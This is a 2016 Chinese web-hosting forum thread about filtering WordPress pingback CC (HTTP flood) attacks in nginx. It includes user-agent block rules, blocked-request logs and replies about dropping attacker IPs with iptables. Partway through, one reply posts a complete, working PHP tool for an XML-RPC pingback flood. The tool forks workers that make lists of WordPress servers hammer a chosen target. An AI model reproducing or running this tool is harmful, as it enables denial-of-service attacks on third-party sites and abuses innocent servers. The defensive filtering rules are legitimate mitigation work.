全球主机交流论坛

标题: nginx过滤无聊的pingback CC请求 [打印本页]

作者: Kvm    时间: 2016-4-15 09:51
标题: nginx过滤无聊的pingback CC请求
  1. if ($http_user_agent ~* (ApacheBench|pingback|WordPress|MJ12bot|AhrefsBot|360JK|PHP|php|Jorgee) ) {return 101;}
  2. if ($http_user_agent = "" ) {return 101;}
  3. if ( $request = "POST /reg.html HTTP/1.1" ) {return 400;}
  4. if ( $request = "POST / HTTP/1.1" ) {return 400;}
  5. if ( $request = "POST / HTTP/1.0" ) {return 400;}
  6. if ( $request = "POST // HTTP/1.0" ) {return 400;}
复制代码


nginx判断agent直接过滤掉一些低能的CC请求, 在这儿直接当个干货贴出来。

也让某些人以为拿小鸡鸡插进土里就**了地球的想法破灭。


代码实例加入nginx后重载或者重启,可以自己拿wordpress的pingback漏洞给自己测试一下,查看日志101状态的记录则是已经被拦截的。


状态码101也可以改成400,自己随意了。


类似低能的CC不用正眼看一下,老有人打打小白觉得好厉害得不行。


作者: Kvm    时间: 2016-4-15 09:53


过滤后的日志基本就长这样



  1. 107.170.247.241 - - [15/Apr/2016:10:06:42 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/4.5; http://www.rotaryclubchengdu.org; verifying pingback from 185.130.4.197"
  2. 107.170.247.241 - - [15/Apr/2016:10:06:43 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/4.5; http://www.rotaryclubchengdu.org; verifying pingback from 185.130.4.197"

  3. 107.170.247.241 - - [15/Apr/2016:10:06:58 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/4.5; http://www.rotaryclubchengdu.org; verifying pingback from 185.130.4.197"
  4. 198.104.59.63 - - [15/Apr/2016:10:06:59 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.5.1; http://www.guero.com"
  5. 92.51.134.237 - - [15/Apr/2016:10:07:00 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.0.4; http://www.onlinespiele24.at"
  6. 72.249.104.30 - - [15/Apr/2016:10:07:02 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.0; http://snapecast.com"
  7. 54.162.238.38 - - [15/Apr/2016:10:07:03 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.5.2; http://agilepoint.com"
  8. 72.249.104.30 - - [15/Apr/2016:10:07:03 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.0; http://snapecast.com"
  9. 208.78.97.111 - - [15/Apr/2016:10:07:05 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.0; http://circle-of-life.ca"
  10. 184.168.108.6 - - [15/Apr/2016:10:07:06 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.1.2; http://www.rbunited.com"
  11. 205.186.151.135 - - [15/Apr/2016:10:07:06 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.5.1; http://bradpowellonline.com"
  12. 67.219.60.120 - - [15/Apr/2016:10:07:07 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.1.3; http://easyhomefix.com"
  13. 208.78.97.111 - - [15/Apr/2016:10:07:07 +0800] "GET /login.php HTTP/1.0" 101 0 "-" "WordPress/3.0; http://circle-of-life.ca"
复制代码

作者: mix    时间: 2016-4-15 09:56
前排支持
作者: 月痕    时间: 2016-4-15 10:09
支持k总。
作者: 怪人    时间: 2016-4-15 10:13
提示: 作者被禁止或删除 内容自动屏蔽
作者: 来看签名的    时间: 2016-4-15 10:19
类似低能的CC不用正眼看一下,老有人打打小白觉得好厉害得不行。
作者: 如何让我遇见你    时间: 2016-4-15 10:21
K总威武!老衲收藏了!
作者: micto    时间: 2016-4-15 10:24
k肿,我想开一个博客。。
作者: canglaoshi    时间: 2016-4-15 10:31
无视你的301 你如何破?
作者: lzdszdl    时间: 2016-4-15 10:33
K肿,我有几百个博客
作者: a1328788808    时间: 2016-4-15 10:36
K肿,我有几百个博客
作者: psdshow    时间: 2016-4-15 10:44
后排站位支持
作者: sgwyhwt    时间: 2016-4-15 10:52
强烈支持K总分享干货!!!
作者: Kvm    时间: 2016-4-15 10:53
canglaoshi 发表于 2016-4-15 10:31
无视你的301 你如何破?

在规则内是穿不透的,

任何攻击和防御都有上限值和特征点,只要抓到了点就无解。
作者: canglaoshi    时间: 2016-4-15 10:58
Kvm 发表于 2016-4-15 10:53
在规则内是穿不透的,

任何攻击和防御都有上限值和特征点,只要抓到了点就无解。 ...

目前我碰到的都比这个高级.无视你的101.301,403.直接带宽打满.也是醉了.
作者: Kvm    时间: 2016-4-15 11:07
canglaoshi 发表于 2016-4-15 10:58
目前我碰到的都比这个高级.无视你的101.301,403.直接带宽打满.也是醉了.

这个是过滤隔断攻击请求,保证不到后端影响。

CC打满带宽情况比较多,没有实际操作情况不好说。

这种是防御初级低能的,且只是第一步,

带宽打满的一般是你的webserver太老实了所有的请求都响应回复了,这种情况下把所有的攻击IP全部统计出来全部丢弃,连握手的机会都不给对方就解决了。






作者: 呵呵    时间: 2016-4-15 11:45
k肿,求赞助小鸡……
作者: Jessynt    时间: 2016-4-15 11:46
提示: 作者被禁止或删除 内容自动屏蔽
作者: 2005exf    时间: 2016-4-15 12:36
我等小白先收藏再说...
作者: babytomas    时间: 2016-4-15 12:52
恰好今天早上我博客就让人家给攻击了,

IP 是 115.231.101.167

这些人真的是闲的蛋疼。
作者: _jerryjee    时间: 2016-4-15 13:03
K肿,我有几百个博客

作者: canglaoshi    时间: 2016-4-15 14:59
Kvm 发表于 2016-4-15 11:07
这个是过滤隔断攻击请求,保证不到后端影响。

CC打满带宽情况比较多,没有实际操作情况不好说。

对啊.只能统计出来,加入iptables
作者: yghrv    时间: 2016-4-15 15:28

K总威武!老衲收藏了!
作者: hostloced    时间: 2016-4-15 15:33
提示: 作者被禁止或删除 内容自动屏蔽
作者: micto    时间: 2016-4-15 15:41
hostloced 发表于 2016-4-15 15:33
矿总就是就是銱,大家要疯狂顶帖子

麻痹,k肿不是邝总好吧。。
作者: 62900015    时间: 2016-4-15 16:00
XML-RPC Pingback ( PHP Version )

拿去玩吧,低能货。

  1. <?php

  2. function partition( $list, $p ) {
  3.         $listlen = count( $list );
  4.         $partlen = floor( $listlen / $p );
  5.         $partrem = $listlen % $p;
  6.         $partition = array();
  7.         $mark = 0;
  8.         for ($px = 0; $px < $p; $px++) {
  9.                 $incr = ($px < $partrem) ? $partlen + 1 : $partlen;
  10.                 $partition[$px] = array_slice( $list, $mark, $incr );
  11.                 $mark += $incr;
  12.         }
  13.         return $partition;
  14. }

  15. $part = array();
  16. $array = file($argv[3], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
  17. $childcount = $argv[2];
  18. $part = partition($array, $childcount);

  19. $shm_id = shmop_open(23377332, "c", 0666, 1024);
  20. shmop_close($shm_id);

  21. if(pcntl_fork() == 0)
  22. {
  23.         $sem = sem_get(13377331, 1, 0666, 1);
  24.         $shm_id = shmop_open(23377332, "c", 0666, 1024);
  25.         $total = 0;
  26.         while(true)
  27.         {
  28.                 sem_acquire($sem);
  29.                 $number = shmop_read($shm_id, 0, 1024);
  30.                 $total += $number;
  31.                 $string = array();
  32.                 array_push($string, $number);
  33.                 array_push($string, " R/s ");
  34.                 array_push($string, $total);
  35.                 array_push($string, " Total Requests                              \r");
  36.                 echo implode("", $string);
  37.                 unset($string);
  38.                 shmop_write($shm_id, str_pad("0", 1024, "\0"), 0);
  39.                 sem_release($sem);
  40.                 sleep(1);
  41.         }

  42.         exit;
  43. }

  44. for($i = 0; $i < $childcount; $i ++)
  45. {
  46.         $pid = pcntl_fork();
  47.         if ($pid == -1) {
  48.                 echo "failed to fork on loop $i of forking\n";
  49.                 exit;
  50.         } else if ($pid) {
  51.                 continue;
  52.         } else {
  53.                 $sem = sem_get(13377331, 1, 0666, 1);
  54.                 $shm_id = shmop_open(23377332, "c", 0666, 1024);
  55.                 while(true)
  56.                 {
  57.                         foreach($part[$i] as $ip)
  58.                         {

  59.                                 list($service, $target) = array_merge(@explode(" ", $ip), array(" "));
  60.                                 $url = array();
  61.                                 array_push($url, $argv[1]);
  62.                                 array_push($url, (parse_url($argv[1], PHP_URL_QUERY) == "" ? "?" : "&"));
  63.                                 array_push($url, rand(1000000, 9999999));
  64.                                 array_push($url, "=");
  65.                                 array_push($url, rand(1000000, 9999999));
  66.                                 $request = xmlrpc_encode_request("pingback.ping", array(implode("", $url), $target));
  67.                                 unset($url);
  68.                                 $context = stream_context_create(array('http' => array(
  69.                                         'method' => "POST",
  70.                                         'header' => "Content-Type: text/xml",
  71.                                         'content' => $request
  72.                                 )));
  73.                                 @file_get_contents($service, false, $context);
  74.                                 sem_acquire($sem);
  75.                                 $number = shmop_read($shm_id, 0, 1024);
  76.                                 $number = intval($number);
  77.                                 $number++;
  78.                                 shmop_write($shm_id, str_pad($number, 1024, "\0"), 0);
  79.                                 sem_release($sem);
  80.                         }
  81.                 }
  82.                 die;
  83.         }
  84. }

  85. for($j = 0; $j < $childcount; $j++)
  86. {
  87.         $pid = pcntl_wait($status);
  88. }
复制代码

作者: Kvm    时间: 2016-4-15 16:31
canglaoshi 发表于 2016-4-15 14:59
对啊.只能统计出来,加入iptables

iptables动作比较迟缓,要大半天才有效果。
作者: cnly1987    时间: 2016-4-15 16:39
K肿,我有几百个博客
作者: canglaoshi    时间: 2016-4-15 22:15
Kvm 发表于 2016-4-15 16:31
iptables动作比较迟缓,要大半天才有效果。

是的.你的方式是啥?防火墙屏蔽?
作者: hostloced    时间: 2016-4-20 18:51
提示: 作者被禁止或删除 内容自动屏蔽




欢迎光临 全球主机交流论坛 (https://d.168530.xyz/) Powered by Discuz! X3.4